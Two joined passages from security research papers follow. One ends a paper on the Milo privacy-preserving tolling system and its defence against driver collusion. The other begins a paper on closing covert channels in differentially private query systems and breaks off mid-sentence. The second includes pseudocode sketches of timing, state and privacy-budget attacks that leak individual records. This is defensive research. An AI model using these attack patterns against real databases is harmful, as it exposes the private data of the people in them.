pricing computational resources as according to Amazon
EC2 [3], then to approximately match the computer used
for our benchmarks would cost about 10 cents per hour.
Between 6 and 30 users can be audited within an hour, so
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Length Time step Segments Time for TC (s)

1 mile 1 minute 2000 55.68
1 mile 1 hour 1000 33.51
2 miles 1 hour 500 10.45

Table 2: The average time, in seconds and over a run of 10, for the TC to perform a single spot check given segment lengths
and time steps; we consider only the active time spent and not the time waiting for the OBU. Essentially all of the time was
spent iterating over the segments; as such, the time taken grows approximately linearly with the number of segments. To
determine the approximate number of segments given segment lengths and time steps, we assumed that an average user would
drive for 1,000 miles in a 30-day month, or about 33 hours (1 hour each weekday and an extra 11 hours over four weekends).

Object Size (B)

NIZK 5455
Commitment 130
Ciphertext 366
Total Pay segment 5955
Audit message 494

Table 3: Size of each of the components that needs to
be sent between the OBU and the TC, in bytes. Each
segment of the payment consists of a NIZK, commitment,
and ciphertext; all the segments are forwarded to the TC
from the TSP at the start of an audit. In the course of the
Audit protocol the OBU must also send blind IBE keys to
the TC.

each user ends up costing the system between one-third
of a cent and 2 cents each month; this is an amount that
the TSP could easily charge the users if need be (although
the cost would presumably be cheaper if the TC simply
performed the computations itself). We therefore believe
that the amount of computation required to perform the
audits, in addition to being necessary in guaranteeing
fairness and honesty within the system, is reasonably
practical.

Finally, to examine how much Milo would cost if de-
ployed in a real population we consider the county of San
Diego, which consists of 3 million people possessing ap-
proximately 1.8 million vehicles, and almost 2,800 miles
of roads [16, 17, 44]. As we just saw, Milo has a compu-
tational cost of up to 2 cents per user per month, which
means a worst-case expected annual cost of $432,000; in
the best case, wherein users cost only one-third of a cent
per month, the expected annual cost is only $72,000. In
the next section, we can see how these costs compares
to that of the “naïve” solution to collusion protection;
i.e., one in which we attempt to protect against driver
collusion through placement of cameras as opposed to
prevention and protection at the system level.

6 Collusion Resistance
Previously proposed tolling systems did not take collusion
into account, as they allow the auditing authority to trans-
mit camera locations in the clear to drivers. Given these
locations, colluding drivers can then share their audit tran-
scripts each month in order to learn a greater number of

camera locations than they would have learned alone. Fur-
thermore, websites already exist which record locations
of red light cameras [38] and speed cameras [37]; one
can easily imagine websites similar to these that collect
crowd-based reports of audit camera locations. With cam-
eras whose locations are fixed from month to month, the
cost to cheat is therefore essentially zero (just check the
website!) and so we can and should expect enterprising
drivers to take advantage of the system. In contrast, Milo
is specifically designed to prevent these sorts of trivial
collusion attacks.

In addition to learning camera locations through the
course of the audit phase, drivers may also learn camera
locations from simply seeing them on the road. This is
also quite damaging to the system, as drivers can learn
the locations of cameras simply by spotting them. After
pooling together the various locations and times at which
they saw cameras, cheating drivers can fix up their driving
record in time to pass any end-of-month audit protocol.

To prevent such cheating, a system could instead re-
quire the OBU to transmit the tuples corresponding to
segments as they are driven, rather than all together at
the end of the month. Without an anonymizing service
such as Tor (used in VPriv [39]), transmitting data while
driving represents too great a privacy loss, as the TSP
can easily determine when and for how long each driver
is using their car. One possible fix might seem to be to
continually transmit dummy segments while the car is
not in use; transmitting segments in real time over a cel-
lular network, however, leaks coarse-grained real-time
location information to nearby cell towers (for example,
staying connected to a single tower for many hours sug-
gests that you are stationary), thus defeating the main goal
of preserving driver privacy.

Finally, we note that there exists a class of expensive
physical attacks targeting any real-world implementation
of a camera-based audit protocol. For example, against
fixed-location cameras, cheating drivers could disable
their OBU for specific segments each month, revealing in-
formation about those segments. Against mobile cameras,
a driver could follow each audit vehicle and record its
path, sharing with other cheating drivers as they go. One
can imagine defenses against these attacks and even more
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fanciful attacks in response; these sort of attacks quickly
become very expensive and impractical, however, and
provide tell-tale signs of collusion (e.g., repeated cheat-
ing, suspicious vehicles). We therefore do not provide a
system-level defense against them.

6.1 Collusion resistance cost analysis
With Milo, we have modified the PrETP system to avoid
leaking the locations of cameras as part of the audit pro-
tocol. An alternative approach is to leave PrETP (or one
of the other previously proposed solutions) in place and
increase the number of audit cameras and their mobility,
thus reducing the useful information leaked in audits even
when drivers collude. Whereas deploying Milo would
increase computational costs over PrETP, deploying the
second solution would increase the operational costs as-
sociated with running the mobile audit cameras. In this
section, we compare the costs associated with the two
solutions. Even with intentionally conservative estimates
for the operating costs of mobile audit cameras, Milo ap-
pears to be competitive for reasonable parameter settings;
as Moore’s law makes computation less expensive, Milo
will become more attractive still.

Hardening previous tolling systems against trivial
driver collusion is possible if we consider using continu-
ously moving, invisible cameras. Intuitively, if cameras
move randomly, then knowing the position and time at
which one audit camera was seen does not allow other
cheating drivers to predict any future camera locations.
The easiest way to achieve these random spot checks is to
mount cameras on special-purpose vehicles, which then
perform a random walk across all streets in the audit area.
Even this will not generate truly random checks (as cars
must travel linearly through streets and obey traffic laws);
for ease of analysis we assume it does. Furthermore, we
will make the assumptions that the audit vehicles will
never check the same segment simultaneously, operate
24 hours a day (every day), and are indistinguishable from
other cars; tolling segments are 1 mile; and non-audit vehi-
cles drive all road segments with equal probability. These
assumptions are by no means realistic, but they present
a stronger case for moving cameras and so we use them,
keeping in mind that any more realistic deployment will
have higher cost.

Using a probability analysis similar to that of VPriv [39,
Section 8.4], we consider an area with M miles of road
and C audit vehicles. If both audit vehicles and other
drivers are driving all roads uniformly at random, then
a driver will share a segment with an audit vehicle with
probability p = C

M with each mile driven. If the driver
travels m miles in a tolling period, she will be seen at least
once by an audit vehicle with a probability of

1− (1− p)m = 1−
(

M−C
M

)m

. (1)

Figure 2: A cost comparison of using the Milo system
against using mobile cameras within previously proposed
systems. We know, from Section 5.1, that Milo has a
worst-case computational cost of $432,000 per year and
a best case of $72,000; for the other systems, we ignore
computation completely (i.e., we assume it is free). Even
with the minimal costs we have assigned to operating
a fleet of audit vehicles 24 hours a day and assuming
worst-case computational costs, Milo becomes equally
cheap when the probability of catching cheating drivers is
83%, and becomes significantly cheaper as the probability
approaches 100%. For Milo’s best-case cost, it becomes
cheaper as soon as more than one camera is used.

To determine the overall cost of this type of operation,
we return to San Diego County (discussed already in Sec-
tion 5.1); recall that it consists of 1.8 million vehicles driv-
ing on 2,800 miles of road, in which the average distance
driven by one vehicle is 1,000 miles in a month. Using
Equation 1, with one audit vehicle (C = 1), the probability
that a driver gets caught is 1− (2799/2800)1000 ≈ .3, so
that a potentially cheating driver still has a 70% chance
of completely avoiding any audit vehicles for a month. If
we use two audit vehicles, then this number drops to 49%.
Continuing in this vein, we need 13 audit vehicles to guar-
antee a 99% chance of catching drivers who intentionally
omit segments. Achieving these results requires the TC
to employ drivers 24 hours a day, as well as purchase,
maintain, and operate a fleet of audit vehicles. To con-
sider the cost of doing so, we estimate the depreciation,
maintenance, and operation cost of a single vehicle to be
approximately $12,500 a year [45]. Furthermore, Cali-
fornia has a minimum wage of $8.00/hr; paying this to
operate a single vehicle results in minimum annual salary
costs of $70,080, ignoring all overtime pay and benefits.
Each audit vehicle will therefore cost at least $82,500 per
year (ignoring a number of additional overhead costs).

Finally, we compare the cost of operating these mobile
cameras with the cost of the Milo system. Because Milo
leaks no information about camera locations to drivers,
cameras can in fact stay at fixed locations; as long they
are virtually invisible, drivers have no opportunities to
learn their locations and so there is no need to move them
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continuously. We therefore consider placing invisible
cameras at random fixed locations, and can calculate the
probability of drivers being caught by Milo using Equa-
tion 1, where we now use C to represent the number of
cameras (and continue to assume that drivers drive 1,000
miles at random each month).

Figure 2 compares the cost of Milo with fixed cameras
and the cost of previous systems with mobile cameras
as the probability of detecting cheating increases. We
used a per-camera annual cost of $10,000.6 As we can
see, in the worst case, Milo achieves cost parity with
mobile cameras at a detection probability of 83% and
becomes vastly cheaper as the systems approach complete
coverage, while in the best case it achieves cost parity
as soon as more than a single camera is used (which
gives a detection probability of around 30%). With either
of these numbers, we remember that our assumptions
about the cost of operating these vehicles significantly
underrated the actual cost; substituting in more realistic
numbers would thus cause Milo to compare even more
favorably. In addition, future developments in computing
technology are almost guaranteed to drive down the cost
of computation, while fuel and personnel costs are not
likely to decrease, let alone as quickly. Therefore, we
believe that Milo is and will continue to be an effective
(and ultimately cost effective) solution to protect against
driver collusion.

7 Related work
The study of privacy-preserving traffic enforcement and
toll collection was initiated in papers by Blumberg, Keeler,
and shelat [8] and Blumberg and Chase [7]. The former of
these papers gave a system for traffic enforcement (such
as red-light violations) and uses a private set-intersection
protocol at its core; the latter gave a system for tolling
and road pricing, and uses general secure function evalu-
ation. Neither system keeps the location of enforcement
or spot-check devices secret from drivers. In an impor-
tant additional contribution, these papers formalized the
“implicit privacy” that drivers currently enjoy: The police
could tail particular cars to observe their whereabouts, but
it would be impractical to apply such surveillance to more
than a small fraction of all drivers.7

6This number was loosely choosen based upon purchase costs for
red light violation cameras. Note that the choice does not affect the
differential system cost, as both systems must operate the same number
of cameras to achieve a given probability of success.

7We would like to correct one misconception, lest it influence future
researchers. Blumberg, Keeler, and shelat write, “the standards of
suspicion necessary to stop and search a vehicle are much more lax
than those required to enter and search a private residence.” In the
U.S., the same standard — probable cause — governs searches of both
vehicles and residences; the difference is only that a warrant is not
required before the search of a car, as “it is not practicable to secure a
warrant because the vehicle can be quickly moved out of the locality
or jurisdiction in which the warrant must be sought” (Carroll v. United

Another approach to privacy-preserving road pricing
was given by Troncoso et al. [43], who proposed trusted
tamper-resistant hardware in each car that calculates the
required payment, and whose behavior can be audited by
the car’s owner. The Troncoso et al. paper also includes
a useful survey of pay-as-you-drive systems deployed at
the time of its publication. See Balasch, Verbauwhede,
and Preneel [5] for a prototype implementation of the
Troncoso et al. approach.

De Jonge and Jacobs [19] proposed a privacy-
preserving tolling system in which drivers commit to the
path they drove without revealing the individual road seg-
ments. De Jonge and Jacobs’ system uses hash functions
for commitments, making it very efficient. Only additive
road pricing functions are allowed (i.e., ones for which
the cost of driving along a path is the sum of the cost
of driving along each segment of the path); this makes
possible a protocol for verifying that the total fee was
correctly computed as the sum of each road segment price
by revealing, essentially, a path from the root to a single
leaf in a Merkle hash tree. (This constitutes a small infor-
mation leak.) In addition, de Jonge and Jacobs use spot
checks to verify that the driver faithfully reported each
road segment on which she drove.

More recently, Popa, Balakrishnan, and Blumberg pro-
posed the VPriv [39] privacy-preserving toll collection
system. VPriv takes advantage of the additive pricing
functions it supports to enable the use of homomorphic
commitments whereby the drivers commit to the prices
for each segment of their path as well as the sum of the
prices. Then, the product of the commitments is a com-
mitment of the sum of the prices. This eliminates the need
for a protocol to verify that the sum of segment prices
was computed correctly. Like previous systems, VPriv
uses (camera) spot checks to ensure that drivers faithfully
reveal the segments they drove. The downside to VPriv
is that, for the audit protocol, drivers must upload the
road segments they drove to the server; to avoid linking
these to their IP address, they must use an anonymizing
network such as Tor.

Balasch et al. proposed PrETP [4] to address some
of the shortcomings in VPriv. In PrETP, drivers do not
reveal the road segments they drove in the clear, and so do
not need an anonymizing network. Instead, they commit
to the segments and, using a homomorphic commitment
scheme, to the corresponding fees; in the audit protocol,
they open the commitments corresponding to the road
segments on which spot-check cameras observed them.

In each of the system of de Jonge and Jacobs, VPriv,
and PrETP, drivers are challenged in the audit protocol
to prove that they committed to or otherwise uploaded
the segments for which there is photographic evidence

States, 267 U.S. 132 (1925), at 153).
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that they were present. As discussed in Sections 1 and 2,
this revealing of camera locations enables several attacks
which allow drivers to pay less than their actual tolls.
Additionally, camera placement and tolling areas must be
restricted to ensure driver privacy, for example, by using
“virtual trip lines” [30].

In recent work, Hoepman and Huitema [29] observed
that in both VPriv and PrETP the audit protocol allows
the government to query cars about locations where there
was no camera, a capability that could be misused, for
example, to identify whistleblowers. They propose a
privacy-preserving tolling system in which vehicles can
be spot-checked only where their presence was actually
recorded, and in which overall driver privacy is guar-
anteed so long as the pricing provider and aggregation
provider do not collaborate. Like VPriv, Hoepman and
Huitema’s system requires road segments to be transmit-
ted from the car to the authority over an anonymizing
network.

Besides tolling, there are other vehicular applications
that require privacy guarantees; see, generally, Hubaux,
Cǎpkun, and Luo [31]. One important application is
vehicle-to-vehicle ad hoc safety networks [14]; see Freudi-
ger et al. [21] for one approach to location privacy in such
networks. Another important application is aggregate traf-
fic data collection. Hoh et al. [30] propose “virtual trip
lines” that instruct cars to transmit their location infor-
mation and are placed to minimize privacy implications;
Rass et al. [40] give an alternative construction based on
cryptographic pseudonym systems.

Vehicle communication is one class of ubiquitous com-
puting system. Location privacy in ubiquitous computing
generally is a large and important research area; see the
recent survey by Krumm [33] for references.

8 Conclusions
In recent years, privacy-preserving toll collection has been
proposed as a way to implement more fine-grained pricing
systems without having to sacrifice the privacy of drivers
using the roads. In such systems drivers do not reveal
their locations directly to the toll collection authorities;
this means there needs to be a mechanism in place to guar-
antee that the drivers are still reporting their accumulated
fees accurately and honestly. Maintaining this balance
between privacy and honesty in an efficient and practical
way has proved to be a challenging problem; previous
work, however, such as the VPriv and PrETP systems, has
demonstrated that this problem is in fact tractable. Both
these systems employ modern cryptographic primitives
to allow the driver to convince the collection authority of
the accuracy of her payment without revealing any part of
her driving history. To go along with this collection mech-
anism, a series of random spot checks (i.e., the authority
challenging the driver to prove that she paid for segments

in which she was caught on camera) must be performed
in order to maintain honesty and fairness throughout the
system.

In this paper, we have identified large-scale driver col-
lusion as a realistic and damaging threat to the success
of privacy-preserving toll collection systems. To protect
against these sorts of collusions, we have presented Milo,
a system which achieves the same privacy properties as
VPriv and PrETP, but strengthens the guarantee of driver
honesty by avoiding revealing camera locations to drivers.
We have also implemented the new parts of our system to
show that achieving this stronger security guarantee does
not add an impractical burden to any party acting within
the system.

Finally, along more practical lines, we have consid-
ered a naïve approach to protecting against collusions and
shown that, from both a cost and effectiveness considera-
tion, it is ultimately less desirable and more cumbersome
than Milo.

The weaknesses we identify in previous systems are
caused by the gap between the assumption made by
the cryptographic protocols (that spot checks are unpre-
dictable) and the real-world cameras used to implement
them — cameras that are physical objects that can be iden-
tified and may be difficult to move. If drivers are able to
avoid some cameras, more of them will be required; if
too many spot-check cameras are deployed, the records
they generate will themselves degrade driver privacy. We
believe that it is important for work on privacy-preserving
tolling to address this limitation by carefully considering
how the spot checks it relies on will be implemented.
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Abstract

Anonymizing private data before release is not enough

to reliably protect privacy, as Netflix and AOL have

learned to their cost. Recent research on differential

privacy opens a way to obtain robust, provable privacy

guarantees, and systems like PINQ and Airavat now of-

fer convenient frameworks for processing arbitrary user-

specified queries in a differentially private way. How-

ever, these systems are vulnerable to a variety of covert-

channel attacks that can be exploited by an adversarial

querier.

We describe several different kinds of attacks, all fea-

sible in PINQ and some in Airavat. We discuss the space

of possible countermeasures, and we present a detailed

design for one specific solution, based on a new primi-

tive we call predictable transactions and a simple differ-

entially private programming language. Our evaluation,

which relies on a proof-of-concept implementation based

on the Caml Light runtime, shows that our design is ef-

fective against remotely exploitable covert channels, at

the expense of a higher query completion time.

1 Introduction

Privacy is a problem. Vast amounts of data about individ-

uals is constantly accumulating in various databases—

patient records, content and link graphs of social net-

works, mobility traces in cellular networks, book and

movie ratings, etc.—and there are many socially valu-

able uses to which it can potentially be put. But, as Net-

flix and others have discovered [3, 22], even when data

collectors try to protect the privacy of their customers by

releasing anonymized or aggregated data, this data often

reveals much more than intended, especially when it is

combined with other data sources. To reliably prevent

such privacy violations, we need to replace current ad-

hoc solutions with a principled data release mechanism

that offers strong, provable privacy guarantees.

Recent research on differential privacy [8–10] has

brought us a big step closer to achieving this goal. Dif-

ferential privacy allows us to reason formally about what

an adversary could learn from released data, while avoid-

ing many assumptions (e.g., what exactly the adversary

might try to learn, or what he or she might already know)

that have been the cause of privacy violations in the past.

Early work on differentially private data analysis relied

on manual proofs by privacy experts that the answers to

particular queries were safe to release [21]; today, sys-

tems like PINQ [20] and Airavat [26] can perform dif-

ferentially private data analysis automatically, without

needing a human expert in the loop.

Airavat and PINQ go beyond just certifying queries by

the data owner as differentially private; they are explic-

itly designed to support untrusted queries over private

databases. In this model, a third party is permitted to

submit arbitrary queries over the database, but the data

owner imposes a “privacy budget” that limits the amount

of information the third party can obtain about any indi-

vidual whose data is in the database. The system ana-

lyzes each new query to determine its potential “privacy

cost” and allows it to run only if the remaining balance

on the privacy budget is sufficiently high. This mode of

operation is attractive for many scenarios; for example,

Netflix could give researchers access to its database of

movie ratings via such a query interface and still give

strong privacy assurances to customers. An adversarial

querier could not, for instance, obtain an accurate answer

to the query “Has John Doe watched any adult movies?”

because the cost of such a query would exceed any rea-

sonable privacy budget.

However, Airavat and PINQ both contain vulnerabili-

ties that can be exploited by an adversary to extract pri-

vate information through covert channels.1 The reason is

that these systems rely on the assumption that the querier

can observe only the result of the query, and nothing else.

In practice, however, the querier is also able to observe

other effects of his query, such the time it takes to com-

1The designers of these systems were aware of these covert chan-

nels, and each addresses them to some extent. See Sections 3.5 and 3.6.
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plete. Such observations can be exploited to mount a

covert-channel attack. To continue with our earlier ex-

ample, the adversary might run a query that always re-

turns zero as its result but that takes one hour to com-

plete if John Doe has watched adult movies and less than

a second otherwise. Both Airavat and PINQ would con-

sider the output of such a query to be safe because it does

not depend on the contents of the private database at all.

However, the adversary can still learn with perfect cer-

tainty whether John Doe has watched adult movies—a

blatant violation of differential privacy. PINQ’s proto-

type implementation also permits global variables to be

used as covert channels to leak private information dur-

ing query execution.

Covert channels have plagued computer systems for

many years [1,2,15,16,18,27,30, etc.], and they are no-

toriously difficult to avoid [7]. However, they are partic-

ularly devastating in a system that is designed to enforce

differential privacy: if a channel allows the adversary to

learn even a single bit of private information, the differ-

ential privacy guarantees are already broken! Thus, dif-

ferential privacy puts particularly high demands on a de-

fense against covert channels; merely limiting the band-

width of the channels is not enough.

Fortunately, the untrusted-query scenario has two fea-

tures that make a solution feasible. First, there is no need

to allow the querier direct access to the machine that

hosts the database; he can be forced to submit queries

and receive results over the network. This rules out diffi-

cult channels such as power consumption [17] and elec-

tromagnetic radiation [13,24], essentially leaving the ad-

versary with just two channels: the privacy budget and

the query completion time.

Our key insight is that, in this specific scenario, these

two channels can be closed completely through a com-

bination of two techniques. The budget channel can be

closed by using program analysis to statically determine

the privacy cost of each query. Thus, the deduction from

the privacy budget is independent of the database con-

tents. The external timing channel can be closed by a)

breaking each query into “microqueries” that operate on

a single database row at a time, and by b) enforcing that

each microquery takes a fixed amount of time. (If nec-

essary, the microquery is aborted and a default value is

returned. In the context of differential privacy, this is

safe—and does not open another channel—because the

privacy cost of the default values is already included in

the privacy cost of the query.) Thus, we can obtain strong

privacy assurances even if the adversary can pose arbi-

trary queries and can observe all the (remotely measur-

able) channels that are possible in our model.

We present the design of Fuzz, a system that imple-

ments this defense. Fuzz uses a novel type system [25]

to statically infer the privacy cost of arbitrary queries

written in a special programming language, and it uses

a novel primitive called predictable transactions to en-

sure that a potentially adversarial computation completes

within a specific time or returns a default value. We have

built and evaluated a proof-of-concept implementation of

Fuzz based on the Caml Light runtime system [5, 19].

Our results show that Fuzz effectively closes all known

remotely exploitable channels, at the expense of a higher

query completion time.

Implementing predictable transactions is challenging

in practice: Fuzz must be able to abort an arbitrary and

potentially adversarial computation by a specified dead-

line, even if the adversary is actively trying to cause the

deadline to be missed, and must ensure that—whether

or not the computation is aborted—it leaves no linger-

ing traces that can measurably affect the program’s over-

all execution time (garbage in the heap, VM pages that

must later be freed by the OS, etc). Nevertheless, we

show that, across a variety of adversarial queries that ex-

ploit different attack strategies, our implementation ex-

hibits extremely small variation in completion time—on

the order of the time required to handle a single timer

interrupt. This variation is so small that it is difficult to

measure even on the machine itself. Thus, it would be

useless to a remote attacker, who would have to measure

it across a wide-area network using the limited number

of trials that the privacy budget permits.

In summary, we make the following contributions:

1. a detailed analysis of several classes of covert-

channel attacks and a discussion of which are feasi-

ble in PINQ and Airavat (Section 3);

2. an analysis of the space of potential solutions (4);

3. a concrete design for one specific solution, based on

default values and predictable transactions (5+6);

4. a proof-of-concept implementation of our design

(7); and

5. an experimental evaluation (8).

We close with a discussion of related work and a few

concluding thoughts.

2 Background

Before describing our attacks and the Fuzz design and

implementation, we briefly review some technical back-

ground on differential privacy, function sensitivity, and

differentially private programming languages.

2.1 Differential privacy

Differential privacy [8] is a property of randomized func-

tions that take a database as input and return a result that

is typically some form of aggregate (a real number rep-

resenting a count; a histogram; etc.). The database (db)

2
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is a collection of “rows,” one for each individual whose

privacy we mean to protect.

Informally, a randomized function is differentially pri-

vate if arbitrary changes to a single individual’s row

(keeping other rows constant) result in only statistically

insignificant changes in the function’s output distribu-

tion; thus, any individual’s presence in the database has a

statistically negligible effect. Formally [12], differential

privacy is parametrized by a real number ε , correspond-

ing to the strength of the privacy guarantee: smaller ε’s

yield more privacy. Two databases b and b′ are consid-

ered similar, written b ∼ b′, if they differ in only one

row. We then say that a randomized function q : db → R

is ε-differentially private if, for all possible sets of out-

puts S ⊆ R, and for all similar databases b,b′, we have

Pr[q(b) ∈ S] ≤ eε ·Pr[q(b′) ∈ S]. That is, when the in-

put database is changed in one row, there is at most a very

small multiplicative difference (eε ) in the probability of

any set of outcomes S.

Methods for achieving differential privacy can be at-

tractively simple—e.g., perturbing the true answer to a

numeric query with carefully calibrated random noise.

For example, the query “How many patients at this hos-

pital are over the age of 40?” is intuitively “almost safe”:

safe because it aggregates many individuals’ information

together, but only “almost” because, if an adversary hap-

pened to know the ages of every patient except John Doe,

then answering this query exactly would give him certain

knowledge of a fact about John. The differential privacy

methodology rests on the observation that, if we add a

small amount of random noise to this query’s result, we

still get a useful estimate of the true answer while ob-

scuring the age of any single individual. By contrast, the

query “How many patients named John Doe are over the

age of 40” is plainly problematic, since the answer is

very sensitive to the presence or absence of a single indi-

vidual. Such a query cannot usefully be privatized: if we

add enough noise to mostly obscure the contribution of

John Doe’s age, there will be essentially no signal left.

2.2 Compositionality and privacy budgets

An important consequence of the definition of differ-

ential privacy is that composing a differentially private

function with any other function that does not, itself, de-

pend on the database yields a function that is again dif-

ferentially private—that is, no amount of postprocessing,

even with unknown auxiliary information, can lessen the

differential privacy guarantee. This allows us to reason

about harmful effects of data release that might seem

quite far removed from the function that is actually being

computed.

Another important property of differential privacy is

that its guarantee degrades gracefully under repeated ap-

plication: a pair of two ε-differentially private functions

is always 2ε-differentially private, when taken together.

This allows us to think of having a fixed “privacy bud-

get” up front, which is slowly exhausted as queries are

answered: if our privacy budget is ε , we may feel free to

independently answer k queries, where the ith query is εi-

differentially private and ∑i εi ≤ ε , without fear that the

aggregation of these k queries will violate ε-differential

privacy.

2.3 Function sensitivity

The central idea in proofs of differential privacy is to

bound the sensitivity of queries to small changes in their

inputs. Sensitivity is a kind of continuity property; a

function of low sensitivity maps nearby inputs to nearby

outputs.

Sensitivity is relevant to differential privacy because

the amount of noise required to make a deterministic

query differentially private is proportional to its sensi-

tivity. For example, the sensitivity of the two age queries

discussed above is 1: adding or removing one patient’s

records from the hospital database can change the true

value of each query by at most 1. This means that we

should add the same amount of noise to “How many pa-

tients at this hospital are over the age of 40?” as to

“How many patients named John Doe are over the age of

40?” This may appear counter-intuitive, but it achieves

the right goal: the privacy of single individuals is pro-

tected to exactly the same degree in both cases. What

differs is the usefulness of the results: knowing the an-

swer to the first query with, say, a typical error margin of

±100 could still be valuable if there are thousands of pa-

tients, whereas knowing the answer to the second query

(which can only be zero or one) ±100 is useless. We

might try making the second query more useful by scal-

ing its answer up numerically: “Is John Doe over 40? If

yes, then 1,000, else 0.” But this scaled query now has a

sensitivity of 1,000, not 1, and so 1,000 times the noise

must be added, blocking our attempt to violate privacy.

2.4 Programming with privacy

Early work on differential privacy has mostly focused

on specific algorithms rather than general, compositional

mechanisms: given a particular algorithm, we prove by

hand that it is differentially private. Most of the time, this

does not require much ingenuity—just applying known

techniques—but even so, this approach doesn’t scale

well because it demands that each new algorithm be cer-

tified by a skilled, trusted human. A better approach is to

automate this certification process with a programming

language in which every well-typed program is guaran-

teed to be differentially private. Then (untrusted) non-

experts can write as many different algorithms as they

like, and the database administrator can rely on the lan-

guage to ensure that privacy is not being violated.

3
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Systems are beginning to be available that implement

such languages—notably Privacy Integrated Queries

(PINQ) [20] and Airavat [26]. PINQ is an embedded

extension of C# that tracks the privacy impact of vari-

ety of relational algebra operations on database tables, as

well as certain forms of query composition. Airavat inte-

grates differential privacy into a distributed, Java-based

MapReduce framework.

2.5 Processing model

Although PINQ and Airavat differ in many particu-

lars, they embody essentially the same basic process-

ing model, which we also follow in the Fuzz system de-

scribed below. A query in each of these systems can be

viewed as consisting of one or more mapping operations

that process individual records in the database, together

with some reducing code that combines the results of

the mapping operations without directly looking at the

database. When a query is submitted, the system verifies

that it is εi-differentially private, deducts εi from the total

privacy budget ε associated with the database, and—if ε

remains nonzero—returns the query result. (Note that,

in this model, we account for the possibility of collu-

sion between adversaries by associating the privacy bud-

get with the database and not with individual queriers.

Thus, once the budget is exhausted, we must throw away

the database and never answer any more queries.) We

call the mapping operations microqueries and the rest of

the code the macroquery.

Airavat implements a simple version of this model:

a query consists of a sequence of chained microqueries

(“mappers” in Airavat terminology) plus a selection from

among a fixed set of macroqueries (“reducers”). The

mappers are the only untrusted code: the reducers are

part of the trusted base. When a query is submitted,

the adversary must also declare the expected numerical

range of its outputs, which amounts (since its input is

a single record of the database) to stating its sensitiv-

ity. If the actual output ever falls outside of the declared

range, it is clipped—in essence, the declared sensitivity

is enforced by the system. From the declared sensitivity,

Airavat can calculate how much noise must be added to

the reducer’s results to achieve ε-differential privacy.

In PINQ, macroqueries are written in LINQ, a SQL-

like declarative language, which can be embedded in oth-

erwise unconstrained C# programs. Microqueries can

be general C# computations (optionally constrained by

a checker method called Purify; see Section 3.5).

3 Attacks on differential privacy

Naturally, database administrators may be nervous about

offering adversaries the opportunity to run arbitrary

queries against their raw data. They will need strong

assurances that such adversarial queries not only play

by the rules of differential privacy but also have no in-

direct means of improperly leaking private information

about individuals in the database. Unfortunately, this is

not currently the case: while the authors of both PINQ

and Airavat have anticipated the possibility of covert-

channel attacks and have implemented either a partial

defense (Airavat) or hooks for adding one (PINQ), both

systems remain vulnerable to a range of attacks, as we

now demonstrate.

3.1 Threat model

It is well known that covert channels are essentially

impossible to eliminate if we allow the adversary to

run other processes on the same computer that runs the

query. Even if these other processes have no access to

the database and cannot communicate directly with the

query process, there are just too many ways for the query

process to perturb local conditions in ways that can be

measured fairly accurately if the observer is this close—

e.g., processor usage, disk activity, cache pollution, etc.

However, if we assume that the adversary is on the other

end of a network connection, we have a much better

chance of success. This is fortunate, since the demands

of the situation are very strong. It is not enough to limit

leakage to a low bandwidth or a small number of bits:

even one bit is too much if that bit is the answer to Does

John Doe watch adult movies?

We therefore assume that the database and associated

query system are hosted on a private, secure machine.

The adversary does not have physical access to this ma-

chine or its immediate environment (so that there is no

way to measure its power usage, etc.) and can only com-

municate with it over a network. The adversary submits

arbitrary queries to the system over the network. The

system executes each query (if it determines that doing

so is safe) and returns the answer over the network. The

system also maintains a privacy budget for the database

as a whole, and it refuses to answer any more queries

once the budget is exhausted.

This threat model is shared by all differentially private

query systems (PINQ, Airavat, and our Fuzz system),

and its assumptions seem reasonable in practice. Essen-

tially, it gives the adversary three pieces of information:

(1) the actual answer to their query (a number, histogram,

etc.), if any, (2) the time that the response arrives on their

end of the network connection, and (3) the system’s deci-

sion whether to execute their query or refuse because do-

ing so would exceed the available privacy budget. How-

ever, this threat model still provides plenty of room for

attacks on privacy. We will see that, unless appropriate

steps are taken, both the decision whether or not to ex-

ecute a query and the execution time itself can be used

as channels to leak private information. In essence, both

the query’s finishing time and the fact that it is accepted
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noisy sum, foreach r in db, of {
if embarrassing(r)

then { pause for 1 second };
return 0

}

Figure 1: Timing attack example

or refused are results that the system is giving back to

the adversary, and we need to consider whether the com-

bination of all results—not just the query’s numerical

answer—is differentially private. Moreover, we will see,

for PINQ, some ways that a malicious query may cause

the actual answer to not be differentially private.

3.2 Timing attacks

Under the constraints of the above threat model, the eas-

iest way for a query to send a bit to the adversary is by

simply pausing for a long time (by entering an infinite

loop, computing factorial of a million, etc.) when a cer-

tain condition is detected in the private data, as illustrated

(in PINQ-like pseudocode) in Figure 1. The macroquery

adds together the results of running the microquery on

each row of the database (always 0) and finally adds

some random noise to the total. Since almost all of the

microquery instances finish very quickly, the distribution

of query execution times observed by the adversary will

change significantly when an embarrassing record exists

in the database—a violation of differential privacy.

A simple “microquery timeout” will not solve this

problem, for at least two reasons. First, the adversary

can also signal the condition by causing the query to take

an unusually small amount of time. The simple way to

do this is to create an exception condition that aborts the

entire query. If this is blocked (e.g., by trapping an ex-

ception in a microquery and replacing it with a default

result just for that single microquery), the adversary can

instead make all microqueries take a uniformly longish

time (say, exactly two milliseconds) except when they

detect the condition, in which case they terminate im-

mediately. If the adversary happens to know exactly

how many records are in the database, this leaks one bit.

Second, the adversary can defeat a simple “microquery

timeout” by causing side-effects in the microquery that

will slow down the macroquery or other microqueries—

for example, by allocating lots of memory to trigger

garbage collection in the macroquery. We discuss this

issue in more detail below.

3.3 State attacks

A different class of attacks involves using a channel be-

tween microqueries, such as a global variable, to break

differential privacy of the result, as illustrated in Figure 2.

found = false;

noisy sum, foreach r in db, of {
if (found) then { return 1 }
if embarrassing(r) then {

found = true;

return 1

} else { return 0 }
}

Figure 2: State attack example

noisy sum, foreach r in db, of {
if embarrassing(r) then {

run sub-query that uses

a lot of privacy budget

} else {
return 0

}
}

Figure 3: Privacy budget attack example

This time, the result of each microquery is either 0 or 1,

depending on whether any previous microquery detected

an embarrassing record. Since, in general, the embar-

rassing record will not be the last one in the database,

this greatly magnifies the contribution of this one record

to the result, again violating differential privacy.

3.4 Privacy budget attack

A related form of attack uses the query processor’s deci-

sion whether to publicize the result of a query as a chan-

nel for leaking private data, relying on the fact that this

decision can be influenced by actions of the query that in

turn depend on private data. This idea can be applied to

systems that use a dynamic analysis to determine the ’pri-

vacy cost’ of a query, i.e., the amount that must be sub-

tracted from the privacy budget before the result can be

returned to the querier. As illustrated in Figure 3, the at-

tack consists of looking for an embarrassing record and,

when it is found, invoking some sub-query that will use

up a bit of the remaining privacy budget. Once the outer

query returns, the adversary simply checks how much the

